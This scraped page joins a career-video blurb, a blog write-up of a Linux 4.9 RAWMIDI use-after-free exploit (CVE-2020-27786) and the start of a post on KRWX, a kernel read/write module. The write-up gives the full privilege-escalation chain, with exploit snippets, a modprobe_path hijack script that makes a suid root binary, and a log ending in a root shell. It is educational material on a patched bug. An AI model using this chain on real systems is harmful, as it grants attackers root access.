Secure coders are responsible for developing and writing secure code in a way that protects against security vulnerabilities like bugs, defects and logic flaws. They take proactive steps to introduce secure coding methodologies before the application or software is introduced into a production environment, often following recommendations from the Open Web Application Security Project (OWASP) Foundation.
Learn more here: https://www.infosecinstitute.com/skills/train-for-your-role/secure-coder/
0:00 - Intro
0:25 - What does a secure coder do?
5:48 - How do you become a secure coder?
9:46 - What skills do secure coders need?
12:28 - What tools do secure coders use?
17:08 - What roles can secure coders transition into?
19:50 - What to do right now to become a secure coder
About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. Itβs our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
What does a secure coder do? | Cybersecurity Career Series
Linux Kernel Exploit Development: 1day case study
Introduction
I was searching for a vulnerability that permitted me to practise what Iβve learned in the last period on Linux Kernel Exploitation with a βreal-lifeβ scenario. Since I had a week to dedicate my time in Hacktive Security to deepen a specific argument, I decided to search for a public vulnerability without a public exploit to develop it by myself. After a quick introduction on how I found the known vulnerability, I will detail the exploitation phase of a race condition that leads to a Use-After-Free in Linux kernel 4.9.
TL;DR
This blog post has two parts:
- Vulnerability hunting: About public resources to identify known vulnerabilities in the Linux Kernel in order to practise some Kernel Exploitation in a real-life scenario. These resources includes: BugZilla, SyzBot, changelogs and git logs.
- Kernel Exploitation: The vulnerability is a Race Condition that causes a write Use-After-Free. The race window has been extended using the userfaultd technique handling page faults from user-space and usingΒ
msg_msg
Β to leak a kernel address and I/O vectors to obtain a write primitive. With the write primitive, theΒmodprobe_path
Β global variable has been overwritten and a root shell popped.
Public bugs
The first thing I asked myself was: how do I find a suitable bug for my purpose? I excluded searching it by CVE since not all vulnerabilities have an assigned CVE (and usually they are the most βfamousβ ones) and thatβs when I used the most powerful hacking skill: googling. That led me to various resources that I would like to share today starting by saying that thatβs only the result of my personal work that could not reflect the best way to perform the same job. That said, this is what Iβve used to find my βmatchedβ Nday:
- Bugzilla
- SyzBot
- Changelogs
- Git log
Kernel changelogs is definetly my favourite one but letβs say few words on all of them.
BugZilla
BugZilla is the standard way to report bugs in the upstream Linux kernels. You can find interesting vulnerabilities organised by subsystem (e.g. Networking with IPv4 and IPv6 or file system with ext* types and so on) and you can also search for keywords (such as βoverflowβ, βheapβ, βUAFβ and so on ..) using the standard search or the more advanced one. The personal downside is the mix of a lot of βnon vulnerabilitiesβ, hangs and stuff like that. Also, you do not have the most powerful search options (e.g. some bash). However, it is still a good option and I personally pinned few vulnerabilities that i excluded afterwards.
Syzbot
βsyzbot is a continuous fuzzing/reporting system based on syzkaller fuzzerβ (Introducing the syzbot dashboard).
Not the best GUI but at least you can have a lot of potentially open and fixed vulnerabilties. There isnβt a built-in search option but you can use your browserβs one or parse the HTML with an HTML parser. One of the downside, beyond the lack of searching, is the presence of tons of false-positives (in the βOpen sectionβ). However, upsides are pretty good: you can find open vulnerabilites (still not fixed), reproducers (C or syzlang), fixed commits and reported issues have the syzkaller nomenclature that is pretty self-explainationary.
Syzkaller-bugs (Google Group)
The lack of a search functionality in syz-bot is well replaced by the βsyzkaller-bugsβ Google Group from where you can find syz-bot reported bugs with additional information from the comment section and an enanched search bar. I really enjoy this option !
Changelogs
Thatβs my favourite method: download all changelogs from the kernel CDN of your desired kernel version and you can enjoy all downloaded files with your favourite bash commands. This approach is similar to search from git commits but with the advantage that it is way faster. With some bash-fu, you can download all changelogs for a target kernel version (e.g. 4.x) with the following inline:Β URL=https://cdn.kernel.org/pub/linux/kernel/v4.x/ && curl $URL | grep "ChangeLog-4.9" | grep -v '.sign' | cut -d "\"" -f 2 | while read line; do wget "$URL/$line"; done
.
Once all changelogs have been downloaded itβs possible toΒ grep
Β for juicy keywoards like UAF, OOB, overflow and so on. I found very useful to display text before and after the selected keyword, like:Β grep -A5 -B5 UAF *
. In that way, you can instantly have quick information about vulnerability details, impacted subsystem, limitations, ..
For each identified vulnerability, itβs possible to see its patch by diffing the patch commit with the previous one (linux source from git is needed):Β git diff <commit before> <commit patch>
.
Git log
As said before, this is a similar approach to the βChangelogsβ method. The concept is pretty simple: clone the github repository and search for juicy keywoards in the commit history. You can do that with the following commands:
git clone git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
cd linux-stable
git checkout -f <TAG -> # e.g. git checkout -f v4.9.316 (from https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git)
git log > ../git.log
In that way, you can do the same thing as before onΒ git.log
Β file. The big downside, however, is that the file is too big and it takes more time (11.429.573 lines on 4.9.316). Thatβs the reason why I prefer the βChangelogβ method.
Hunt for a good vulnerability
I was searching for an Use-After-Free vulnerability and I started to search for it in all mentioned resources: BugZilla, SyzBot, Changelogs and git history. I wrote them down in a table with a resume description in order to further analyze them later on. I started to dig into few of them viewing their patch and source code in order to understand reachability, compile dependencies and exploitability. I strumbled into an interesting one: a vulnerability in the RAWMIDI interface (commit c13f1463d84b86bedb664e509838bef37e6ea317). I discovered it with the βChangelogβ method, by searching for the βUAFβΒ keyword reading the previous and next five lines:Β grep -A5 -B5 UAF *
. By seeing its behaviours, I was convinced to go with that vulnerability, an Use-After-Free triggered in a race condition.
RAWMIDI interface
Before facing the vulnerability, letβs see few important things needed to follow this write-up. The vulnerable driver is exposed as a character device inΒ /dev/snd/midiC0D*
Β (or similar name based on the platform) and depends onΒ CONFIG_SND_RAWMIDI. It exposes the following file operations:
// https://elixir.bootlin.com/linux/v4.9.224/source/sound/core/rawmidi.c#L1507
static const struct file_operations snd_rawmidi_f_ops =
{
.owner = THIS_MODULE,
.read = snd_rawmidi_read,
.write = snd_rawmidi_write,
.open = snd_rawmidi_open,
.release = snd_rawmidi_release,
.llseek = no_llseek,
.poll = snd_rawmidi_poll,
.unlocked_ioctl = snd_rawmidi_ioctl,
.compat_ioctl = snd_rawmidi_ioctl_compat,
};
The ones we are interesed into areΒ open
,Β write
Β andΒ unlocked_ioctl
.
open
The open (snd_rawmidi_open) operation allocates everything needed to interact with the device, but what is just necessary to know for us is the first allocation ofΒ snd_rawmidi_runtime->buffer
Β asΒ GFP_KERNEL
Β with a size of 4096 (PAGE_SIZE) bytes. This is theΒ snd_rawmidi_runtimeΒ struct:
struct snd_rawmidi_runtime {
struct snd_rawmidi_substream *substream;
unsigned int drain: 1, /* drain stage */
oss: 1; /* OSS compatible mode */
/* midi stream buffer */
unsigned char *buffer; /* buffer for MIDI data */
size_t buffer_size; /* size of buffer */
size_t appl_ptr; /* application pointer */
size_t hw_ptr; /* hardware pointer */
size_t avail_min; /* min avail for wakeup */
size_t avail; /* max used buffer for wakeup */
size_t xruns; /* over/underruns counter */
/* misc */
spinlock_t lock;
wait_queue_head_t sleep;
/* event handler (new bytes, input only) */
void (*event)(struct snd_rawmidi_substream *substream);
/* defers calls to event [input] or ops->trigger [output] */
struct work_struct event_work;
/* private data */
void *private_data;
void (*private_free)(struct snd_rawmidi_substream *substream);
};
write
After having allocated everything from theΒ open
Β operation, we can write into the file descriptor likeΒ write(fd, &buf, 10)
. In that way, it will fill 10 bytes into theΒ snd_rawmidi_runtime->buffer
Β and usingΒ snd_rawmidi_runtime->appl_ptr
Β it will remember the offset to start writing again later.
In order to write into that buffer, the driver does the following calls:Β snd_rawmidi_writeΒ =>Β snd_rawmidi_kernel_write1Β =>Β copy_from_user
ioctl
TheΒ snd_rawmidi_ioctlΒ is responsible to handle IOCTL commands and the one we are interested in isΒ SNDRV_RAWMIDI_IOCTL_PARAMS
Β that callsΒ snd_rawmidi_output_paramsΒ with user-controllable parameter:
int snd_rawmidi_output_params(struct snd_rawmidi_substream *substream,
struct snd_rawmidi_params * params)
{
// [..] few checks
if (params->buffer_size != runtime->buffer_size) {
newbuf = kmalloc(params->buffer_size, GFP_KERNEL); //[1]
if (!newbuf)
return -ENOMEM;
spin_lock_irq(&runtime->lock);
oldbuf = runtime->buffer;
runtime->buffer = newbuf; // [2]
runtime->buffer_size = params->buffer_size;
runtime->avail = runtime->buffer_size;
runtime->appl_ptr = runtime->hw_ptr = 0;
spin_unlock_irq(&runtime->lock);
kfree(oldbuf); //[3]
}
// [..]
}
This IOCTL is crucial for this vulnerability. With this command itβs possible to re-size the internal buffer with an arbitrary value reallocating it[1] and later replace that buffer with the older one [2], that will be freed[3].
Vulnerability Analysis
The vulnerability has been patched by the commit βc13f1463d84b86bedb664e509838bef37e6ea317β that introduced a reference counter on the targeted vulnerable buffer. In order to understand where the vulnerbility lived itβs a good thing to see its patch:
diff --git a/include/sound/rawmidi.h b/include/sound/rawmidi.h
index 5432111c8761..2a87128b3075 100644
--- a/include/sound/rawmidi.h
+++ b/include/sound/rawmidi.h
@@ -76,6 +76,7 @@ struct snd_rawmidi_runtime {
size_t avail_min; /* min avail for wakeup */
size_t avail; /* max used buffer for wakeup */
size_t xruns; /* over/underruns counter */
+ int buffer_ref; /* buffer reference count */
/* misc */
spinlock_t lock;
wait_queue_head_t sleep;
diff --git a/sound/core/rawmidi.c b/sound/core/rawmidi.c
index 358b6efbd6aa..481c1ad1db57 100644
--- a/sound/core/rawmidi.c
+++ b/sound/core/rawmidi.c
@@ -108,6 +108,17 @@ static void snd_rawmidi_input_event_work(struct work_struct *work)
runtime->event(runtime->substream);
}
+/* buffer refcount management: call with runtime->lock held */
+static inline void snd_rawmidi_buffer_ref(struct snd_rawmidi_runtime *runtime)
+{
+ runtime->buffer_ref++;
+}
+
+static inline void snd_rawmidi_buffer_unref(struct snd_rawmidi_runtime *runtime)
+{
+ runtime->buffer_ref--;
+}
+
static int snd_rawmidi_runtime_create(struct snd_rawmidi_substream *substream)
{
struct snd_rawmidi_runtime *runtime;
@@ -654,6 +665,11 @@ int snd_rawmidi_output_params(struct snd_rawmidi_substream *substream,
if (!newbuf)
return -ENOMEM;
spin_lock_irq(&runtime->lock);
+ if (runtime->buffer_ref) {
+ spin_unlock_irq(&runtime->lock);
+ kfree(newbuf);
+ return -EBUSY;
+ }
oldbuf = runtime->buffer;
runtime->buffer = newbuf;
runtime->buffer_size = params->buffer_size;
@@ -962,8 +978,10 @@ static long snd_rawmidi_kernel_read1(struct snd_rawmidi_substream *substream,
long result = 0, count1;
struct snd_rawmidi_runtime *runtime = substream->runtime;
unsigned long appl_ptr;
+ int err = 0;
spin_lock_irqsave(&runtime->lock, flags);
+ snd_rawmidi_buffer_ref(runtime);
while (count > 0 && runtime->avail) {
count1 = runtime->buffer_size - runtime->appl_ptr;
if (count1 > count)
@@ -982,16 +1000,19 @@ static long snd_rawmidi_kernel_read1(struct snd_rawmidi_substream *substream,
if (userbuf) {
spin_unlock_irqrestore(&runtime->lock, flags);
if (copy_to_user(userbuf + result,
- runtime->buffer + appl_ptr, count1)) {
- return result > 0 ? result : -EFAULT;
- }
+ runtime->buffer + appl_ptr, count1))
+ err = -EFAULT;
spin_lock_irqsave(&runtime->lock, flags);
+ if (err)
+ goto out;
}
result += count1;
count -= count1;
}
+ out:
+ snd_rawmidi_buffer_unref(runtime);
spin_unlock_irqrestore(&runtime->lock, flags);
- return result;
+ return result > 0 ? result : err;
}
long snd_rawmidi_kernel_read(struct snd_rawmidi_substream *substream,
@@ -1262,6 +1283,7 @@ static long snd_rawmidi_kernel_write1(struct snd_rawmidi_substream *substream,
return -EAGAIN;
}
}
+ snd_rawmidi_buffer_ref(runtime);
while (count > 0 && runtime->avail > 0) {
count1 = runtime->buffer_size - runtime->appl_ptr;
if (count1 > count)
@@ -1293,6 +1315,7 @@ static long snd_rawmidi_kernel_write1(struct snd_rawmidi_substream *substream,
}
__end:
count1 = runtime->avail < runtime->buffer_size;
+ snd_rawmidi_buffer_unref(runtime);
Two functions were added:Β snd_rawmidi_buffer_refΒ andΒ snd_rawmidi_buffer_unref. They are respectively used to take and remove a reference to the buffer usingΒ snd_rawmidi_runtime->buffer_ref
Β when it is copying (snd_rawmidi_kernel_read1) or writing (snd_rawmidi_kernel_write1) into that buffer. But why this was needed? Because read and write operations handled byΒ snd_rawmidi_kernel_write1Β andΒ snd_rawmidi_kernel_read1Β temporarly unlock the runtime lock during the copying from/to userspace usingΒ spin_unlock_irqrestore
[1]/spin_lock_irqrestore
[2] giving a small race window where the object can be modified during theΒ copy_from_user
Β call:
static long snd_rawmidi_kernel_write1(struct snd_rawmidi_substream *substream, const unsigned char __user *userbuf, const unsigned char *kernelbuf, long count) {
// [..]
spin_unlock_irqrestore(&runtime->lock, flags); // [1]
if (copy_from_user(runtime->buffer + appl_ptr,
userbuf + result, count1)) {
spin_lock_irqsave(&runtime->lock, flags);
result = result > 0 ? result : -EFAULT;
goto __end;
}
spin_lock_irqsave(&runtime->lock, flags); // [2]
// [..]
}
If a concurrent thread re-allocate theΒ runtime->buffer
Β using theΒ SNDRV_RAWMIDI_IOCTL_PARAMS
Β ioctl, that thread can lock the object fromΒ spin_lock_irq
Β [1] (that has been left unlocked in the small race window given byΒ snd_rawmidi_kernel_write1
) and free that buffer[2], making possible to re-allocate an arbitrary object and write on that. Also, theΒ kmalloc
[3] inΒ snd_rawmidi_output_params
Β is called withΒ params->buffer_size
Β that is totally user controllable.
int `snd_rawmidi_output_params`(struct snd_rawmidi_substream *substream,
struct snd_rawmidi_params * params)
{
// [..]
if (params->buffer_size != runtime->buffer_size) {
newbuf = kmalloc(params->buffer_size, GFP_KERNEL); // [3]
if (!newbuf)
return -ENOMEM;
spin_lock_irq(&runtime->lock); // [1]
oldbuf = runtime->buffer;
runtime->buffer = newbuf;
runtime->buffer_size = params->buffer_size;
runtime->avail = runtime->buffer_size;
runtime->appl_ptr = runtime->hw_ptr = 0;
spin_unlock_irq(&runtime->lock);
kfree(oldbuf); // [3]
}
// [..]
}
What happen if, while a thread is writing into the buffer withΒ copy_from_user
, another thread frees that buffer using theΒ SNDRV_RAWMIDI_IOCTL_PARAMS
Β ioctl and reallocates a new arbitrary one? The object is replaced with an new one and theΒ copy_from_user
Β will continue writing into another object (the βvictim objectβ) corrupting its values => User-After-Free (Write).
The really good part about this vulnerability is the βfreedomβ you can have:
- Itβs possible to callΒ
kmalloc
Β with an arbitrary size (and this will be the freed object that we are going to replace to cause a UAF) which means that we can target our favourite slab cache (based on what we need, ofc) - We can write as much as we want in the buffer with theΒ
write
Β syscall
Extend the Race Time Window
We know we have a small race window with few instructions while copying data from userland to kernel as explained before, but the great news is that we have aΒ copy_from_user
Β that can be suspended arbitrarly handling page fault in user-space ! Since I was exploiting the vulnerability in a 4.9 kernel (4.9.223) and hence userfaultd is still not unprivileged as in >5.11, we can still use it to extend our race window and have the necessary time to re-allocate a buffer!
Exploitation Plan
We stated that we are going to use the userfaultd technique to extend the time window. If you are new to this technique is well explainedΒ here, in thisΒ videoΒ (you can use substitles) andΒ here. To summarize: you can handle page faults from user-land, temporarly blocking kernel execution while handling the page fault. If weΒ mmap
Β a block of memory withΒ MAP_ANONYMOUS
Β flag, the memory will be demand-zero paged, meaning that itβs not yet allocated and we can allocate it via userfaultd.
The idea using this technique is:
- Initialize theΒ
runtime->buffer
Β withΒopen
Β => This will allocate the buffer with 4096 size (that will land inΒkmalloc-4096
) - SendΒ
SNDRV_RAWMIDI_IOCTL_PARAMS
Β ioctl command in order to re-allocate the buffer with our desired size (e.g. 30 wil land inΒkmalloc-32
) - Allocate withΒ
mmap
Β a demand-zero paged (MAP_ANON
) and initializeΒuserfaultd
Β to handle its page fault write
Β to the rawmidi file descriptor using our previously allocated mmaped memory => This will trigger the userland page fault inΒcopy_from_user
- While the kernel thread is suspended waiting for the userland page fault we can send again theΒ
SNDRV_RAWMIDI_IOCTL_PARAMS
Β in order to free the currentΒruntime->buffer
- We allocate an object in, for example,Β
kmalloc-32
Β and if we did some spray before on that cache it will take the place of the previous freedΒruntime->buffer
- We release the page fault from userland and theΒ
copy_from_user
Β will continue writing its data (totally in user control) to the new allocated object
With this primitive, we can forges arbitrary objects withΒ arbitrary sizeΒ (specified in theΒ write
Β syscall),Β arbitrary content,Β arbitrary offsetΒ (since we can trigger userfaultd between two pages as demostrated later on) andΒ arbitrary cacheΒ (we can control the size allocation in theΒ SNDRV_RAWMIDI_IOCTL_PARAMS
Β ioctl).
As you can deduce, we have a really great and powerful primitive !
Information Leak
Victim Object
We are going to use what we previously explained in the βExploitation Planβ section to leak an address that we will re-use to have an arbitrary write. Since we can choose which cache trigger the UAF on (and thatβs gold from an exploitation point of view) I choose to leak theΒ shm_file_data->ns
Β pointer that points toΒ init_ipc_ns
Β in the kernelΒ .data
Β section and it lives inΒ kmalloc-32
Β (I also used the same function to spray theΒ kmalloc-32
Β cache):
void alloc_shm(int i)
{
int shmid[0x100] = {0};
void *shmaddr[0x100] = {0};
shmid[i] = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600);
if (shmid[i] < 0) errExit("shmget");
shmaddr[i] = (void *)shmat(shmid[i], NULL, SHM_RDONLY);
if (shmaddr[i] < 0) errExit("shmat");
}
alloc_shm(1)
From that pointer, we will deduce the pointer ofΒ modprobe_path
Β in order to use that technique later to elevate our privileges.
msg_msg
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
struct msg_msgseg {
struct msg_msgseg *next;
/* the next part of the message follows immediately */
};
In order to leak that address, however, we have to compromise some other object inΒ kmalloc-32
, maybe a length field that would read after its own object. For that case,Β msg_msg
Β is our perfect match because it has a length field specified in itsΒ msg_msg->m_ts
Β and it can be allocated in almost any cache starting fromΒ kmalloc-32
Β toΒ kmalloc-4096
, with just one downside: The minimun allocation for theΒ msg_msg
Β struct is 48 (sizeof(struct msg_msg)
) and it can lands minimun atΒ kmalloc-64
.
If you want to read more about this structure you can checkoutΒ Fire of Salvation Writeup,Β Wall Of PerditionΒ and theΒ kernel source code.
However, when a message is sent usingΒ msgsnd
Β with size more thanΒ DATALEN_MSGΒ (((size_t)PAGE_SIZE-sizeof(struct msg_msg))
) that is 4096-48, a segment (or multiple segments if needed) is allocated, and the message is splitted between theΒ msg_msg
Β (the payload is just after the struct headers) and theΒ msg_msgseg
, with the total size of the message specified inΒ msg_msg->m_ts
.
In order to allocate our target object inΒ kmalloc-32
Β we have to send a message with size: ( ( 4096 β 48 ) + 10 ).
- TheΒ
msg_msg
Β structure will be allocated inΒkmalloc-4096
Β and the first (4096 β 48) bytes will be written in theΒmsg_msg
Β structure. - To allocate the remaining 10 bytes, a segmentΒ
msg_msgseg
Β will be allocated inΒkmalloc-32
With these conditions, we can forge theΒ msg_msg
Β structure inΒ kmalloc-4096
Β overwriting itsΒ m_ts
Β value with our UAF and withΒ msgrcv
Β we can receive a message that will contains values past our segment allocated inΒ kmalloc-32
Β (including our targetedΒ init_ipc_ns
Β pointer).
Dealing with offsets
However, we want to overwrite theΒ m_ts
Β value without overwriting anything else in theΒ msg_msg
Β structure, how we can do that?
If you remember, I said we can overwrite chunks with arbitrary size, content andΒ offset. If we create aΒ mmap
Β memory with sizeΒ PAGE_SIZE * 2
Β (two pages) and we handle the page fault only for the second page, we can start writing into the originalΒ runtime->buffer
Β and trigger the page fault when it receives theΒ msg_msg->m_ts
Β offset (0x18). Now that the kernel thread is blocked, itβs possible to replace the object withΒ msg_msg
Β and when theΒ copy_from_user
Β resumes, it will starts writing exactly at theΒ msg_msg->m_ts
Β value the remaining bytes. The size we are writing into the file descriptor is (0x18 + 0x2) since the first 0x18 bytes will be used to land at the exact offset and the 2 remaining bytes will writeΒ 0xffff
Β inΒ msg_msg->m_ts
. The concept is also explained in the following picture:

Now from the received message fromΒ msgrcv
Β we can retrieve theΒ init_ipc_ns
Β pointer fromΒ shm_file_data
Β and we can deduce theΒ modprobe_path
Β address calculating its offset and proceed with the arbitrary write phase.
Arbitrary Write
In order to write at arbitrary locations we are using the same userfault technique described above but instead of targetingΒ msg_msg
Β we will use the Vectored I/O (pipe
Β +Β iovec
) primitive. This primitive has been fixed in kernel 4.13 withΒ copyinΒ andΒ copyoutΒ wrappers, with anΒ access_ok
Β addition. This technique has been widely used exploiting the Android Binder CVE-2019-2215 and is well detailedΒ hereΒ andΒ here.
The idea is to trigger the UAF once again but targeting theΒ iovecΒ struct:
struct iovec
{
void __user *iov_base; /* BSD uses caddr_t (1003.1g requires void *) */
__kernel_size_t iov_len; /* Must be size_t (1003.1g) */
};
TheΒ minimun allocationΒ forΒ iovec
Β occurs withΒ sizeof(struct iovec) * 9
Β orΒ 16 * 9
Β (144) that will land atΒ kmalloc-192
Β (otherwise it is stored in the stack). However I choose to allocate 13 vectors usingΒ readv
Β to make the object land inΒ kmalloc-256
.
int pipefd[2];
pipe(pipefd)
// [...]
struct iovec iov_read_buffers[13] = {0};
char read_buffer0[0x100];
memset(read_buffer0, 0x52, 0x100);
iov_read_buffers[0].iov_base = read_buffer0;
iov_read_buffers[0].iov_len= 0x10;
iov_read_buffers[1].iov_base = read_buffer0;
iov_read_buffers[1].iov_len= 0x10;
iov_read_buffers[8].iov_base = read_buffer0;
iov_read_buffers[8].iov_len= 0x10;
iov_read_buffers[12].iov_base = read_buffer0;
iov_read_buffers[12].iov_len= 0x10;
if(!fork()){
ssize_t readv_res = readv(pipefd[0], iov_read_buffers, 13); // 13 * 16 = 208 => kmalloc-256
exit(0);
}
TheΒ readv
Β is a blocking call thatΒ staysΒ (does not free) the object in the kernel so that we can corrupt it using our UAF and re-use it later with our arbitrary modified content. If we corrupt theΒ iov_base
Β of anΒ iovec
Β structure we can write at arbitrary kernel addresses with aΒ write
Β syscall since it is uses the unsafeΒ __copy_from_userΒ (same asΒ copy_from_user
Β but without checks).

Our idea is:
- Resize theΒ
runtime->buffer
Β withΒSNDRV_RAWMIDI_IOCTL_PARAMS
Β in order to lands intokmalloc-256
Β with a size greater than 192 write
Β into the file descriptor specifycing a demanded-zero paged memory (MAP_ANON
) so thatΒcopy_from_user
Β will stop its execution waiting for our user-land page fault handler- While the kernel thread is waiting, free the buffer using again the re-size ioctl commandΒ
SNDRV_RAWMIDI_IOCTL_PARAMS
- Allocate theΒ
iovec
Β struct usingΒreadv
Β that will replace the previously allocatedΒruntime->buffer
- Resume the kernel execution releasing the page fault handler. Now theΒ
copy_from_user
Β will start to write into theΒiovec
Β structure and we will overwriteΒiov[1].iov_base
Β with theΒmodprobe_path
Β address.
Now, in order to overwrite theΒ modprobe_path
Β value we just have to write our arbitrary content using theΒ write
Β syscall intoΒ pipe[0]
. In the released exploit I overwrote the second iov entry (iov[1]
) using the same technique described before with adjacent pages. However, itβs also possible to directly overwrite the firstΒ iov[0].iov_base
.
Nice ! Now we have overwrittenΒ modprobe_path
Β withΒ /tmp/x
Β and .. itβs time to pop a shell !
modprobe_path & uid=0
If you are not familiar withΒ modprobe_path
Β I suggest you to check outΒ Exploiting timerfd_ctx Objects In The Linux KernelΒ and theΒ man page.
To summarize,Β modprobe_path
Β is a global variable with a default value ofΒ /sbin/modprobe
Β used byΒ call_usermodehelper_exec
Β to execute a user-space program in case a program with an unkown header is executed.
Since we have overwrittenΒ modprobe_path
Β withΒ /tmp/x
, when a file with an unknown header is executed, our controllable script is executed as root.
These are the exploit functions that prepares and later executes a suid shell:
void prep_exploit(){
system("echo '#!/bin/sh' > /tmp/x");
system("echo 'touch /tmp/pwneed' >> /tmp/x");
system("echo 'chown root: /tmp/suid' >> /tmp/x");
system("echo 'chmod 777 /tmp/suid' >> /tmp/x");
system("echo 'chmod u+s /tmp/suid' >> /tmp/x");
system("echo -e '\xdd\xdd\xdd\xdd\xdd\xdd' > /tmp/nnn");
system("chmod +x /tmp/x");
system("chmod +x /tmp/nnn");
}
void get_root_shell(){
system("/tmp/nnn 2>/dev/null");
system("/tmp/suid 2>/dev/null");
}
int main(){
prep_exploit();
// [..] exploit stuff
get_root_shell(); // pop a root shell
}
What the exploit does is simply create theΒ /tmp/x
Β binary that will suid as root a file dropped inΒ /tmp/suid
Β and create a file with an unknown header (/tmp/nnn
) that will trigger the executon as root ofΒ /tmp/x
Β fromΒ call_usermodehelper_exec
. After that, theΒ /tmp/suid
Β gives root privileges and spawns a root shell.
POC:
/ $ uname -a
Linux (none) 4.9.223 #3 SMP Wed Jun 1 23:15:02 CEST 2022 x86_64 GNU/Linux
/ $ id
uid=1000(user) gid=1000 groups=1000
/ $ /main
[*] Starting exploitation ..
[+] userfaultfd registered
[*] First write to init substream..
[*] Resizing buffer_size to 4096 ..
[*] snd_write triggered (should fault)
[*] Freeing buf using SNDRV_RAWMIDI_IOCTL_PARAMS
[+] Page Fault triggered for 0x5551000!
s -l[*] Replacing freed obj with msg_msg .
[*] Waiting for userfaultd to finish ..
[*] Page fault thread terminated
[+] Page fault lock released
[+] init_ipc_ns @0xffffffff81e8d560
[+] calculated modprobe_path @0xffffffff81e42a00
[+] Starting the arbitrary write phase ..
[*] Closing and reopening re-opening rawmidi fd ..
[+] userfaultfd registered
[*] First write to init substream..
[*] Resizing buffer_size to land into kmalloc-256 ..
[*] snd_write triggered (should fault)
[*] Freeing buf from SNDRV_RAWMIDI_IOCTL_PARAMS
[+] Page Fault triggered for 0x7771000!
[*] Waiting for readv ..
[*] Page fault thread terminated
[+] Page fault lock released
[*] Writing into the pipe ..
[*] write = 24
[+] enjoy your r00t shell [:
/ # id
uid=0(root) gid=0 groups=1000
/ #
Conclusion
I illustrated my experience on finding a public vulnerability using public resources to practise some linux kernel exploitation. Once identified a good candiate, I developed the exploit for a 4.9 kernel achieving arbitrary read and write. With tese primitives, a root shell was spawned.
You can find the whole exploit here: https://github.com/kiks7/CVE-2020-27786-Kernel-Exploit
References
- https://bugzilla.kernel.org/
- https://www.kernel.org/doc/html/v4.19/admin-guide/reporting-bugs.html
- https://lwn.net/Articles/749910/
- https://groups.google.com/g/syzkaller-bugs/
- https://cdn.kernel.org/pub/linux/kernel/
- https://elixir.bootlin.com/linux/v4.9.223/source/
- https://lwn.net/Articles/819834/
- https://www.youtube.com/watch?v=6dFmH_JEF4s
- https://blog.lizzie.io/using-userfaultfd.html
- https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html
- https://syst3mfailure.io/wall-of-perdition
- https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html
- https://cloudfuzz.github.io/android-kernel-exploitation/chapters/exploitation.html#leaking-task-struct-pointer
- https://syst3mfailure.io/hotrod
- https://man7.org/linux/man-pages/man2/userfaultfd.2.html
- https://github.com/kiks7/CVE-2020-27786-Kernel-Exploit
KRWX: Kernel Read Write Execute
Introduction
Github project: https://github.com/kiks7/KRWX
During the last few months/year I was studying and approaching the Kernel Exploitation subject and during this journey I developed few tools that assissted me (and currently assist) on better understanding specific topics. Today I want to release my favourine one: KRWX (Kernel Read Write Execute). It is a simple LKM (Linux Kernel Module) that lets you play with kernel memory, allocate and free kernel objects directly from user-land!
What
The main goal of this tool is to use kernel functions from userland (from C code) in order to avoid slower kernel debugging and developing of kernel modules to demostrate specific vulnerabilities (instead, you can emulate them with provided IOCTLs). Also, it can assist the exploitation phase.
These are the project main features (all these features are accessible from a low level user from user-land):
- Read and write into kernel memory
- Read entire blocks of memory
- Arbitrary allocate objects directly calling
kmalloc
- Arbitrary
kfree
objects (and also free arbitrary addresses, if you want) - Allocate/free multiple objects
- Log every
copy_[from|to]_user
/kmalloc
/kfree
called by the KRWX module through hooking (readable fromdmesg
).
Mainly, a more powerful read and write primitive :]
Why
Initially I was writing this module to study the SLUB memory allocator in Linux by allocating, freeing and re-allocating arbitrary chunks easily from an userland process. That automatically leads to study also some exploitation techniques that, with this module, I found a lot easier to understand since you can easily play with kernel memory as you are the god of your system. Then I started to heavily use it for multiple purposes and thatβs the reason why Iβm sharing it.
How
These are some exported functions:
void* kmalloc(size_t arg_size, gfp_t flags)
-> Allocate a chunk with specificsize
andflag
options.int kfree(void* address)
-> Free arbitrary chunks by theiraddress
(also, you can free arbitrary memory).unsigned long int kread64(void* address)
-> Read 8 bytes of memory ataddress
.int kwrite64(void* address, uint64_t value)
-> Write 8 bytes specified byvalue
intoaddress
.void read_memory(void* start_address, size_t size)
-> Readsize
amount of memory starting fromstart_address
.
And, since one of my favourite hobby is overengineer and Iβm lazy enough to do not want to write loops everytime:
void multiple_kmalloc(void** array, uint32_t n_objs, uint32_t size)
-> Allocaten_objs
number of objects with specifiedsize
and return addresses inarray
.void multiple_kfree(void** array, uint64_t to_free[], uint64_t to_free_size)
-> Free specified addresses into_free
fromarray
(to_free_size
is the size of theto_free
array). If youβre interested in the source code feel free to check out the github project.
Examples
Allocate, free and read arbitrary chunks
You can find the full source code in example/01.c
. Here will follows some snippets and a little walkthrough.
First, include the external library and call its initialization function (init_krwx
):
#include "./lib/krwx.h"
int main(){
init_krwx();
[..]
}
So, 10 chunks with size 256 are allocated using multiple_kmalloc
, and the memory of the 7th allocation is read using read_memory
after writing 0x4141414141414141
at its first bytes:
void* chunks[10];
multiple_kmalloc(&chunks, 10, 256);
kwrite64(chunks[7], 0x4141414141414141);
read_memory(chunks[7], 0x10);
The indexes 3, 4 and 7 of the chunks
array are freed using multiple_kfree
:
uint64_t to_free[] = {3, 4, 7};
multiple_kfree(&chunks, &to_free, ( sizeof(to_free) / sizeof(uint64_t) ) );
Once they are freed, new chunks with the same size are allocated and initialized with 0x4343434343434343
, and the memory of the 7h freed chunk is displayed using read_memory
again:
kwrite64(kmalloc(256, _GFP_KERN), 0x4343434343434343);
kwrite64(kmalloc(256, _GFP_KERN), 0x4343434343434343);
kwrite64(kmalloc(256, _GFP_KERN), 0x4343434343434343);
kwrite64(kmalloc(256, _GFP_KERN), 0x4343434343434343);
kwrite64(kmalloc(256, _GFP_KERN), 0x4343434343434343);
read_memory(chunks[7], 0x10);
The result is:
[*] Allocating 10 chunks with size 256
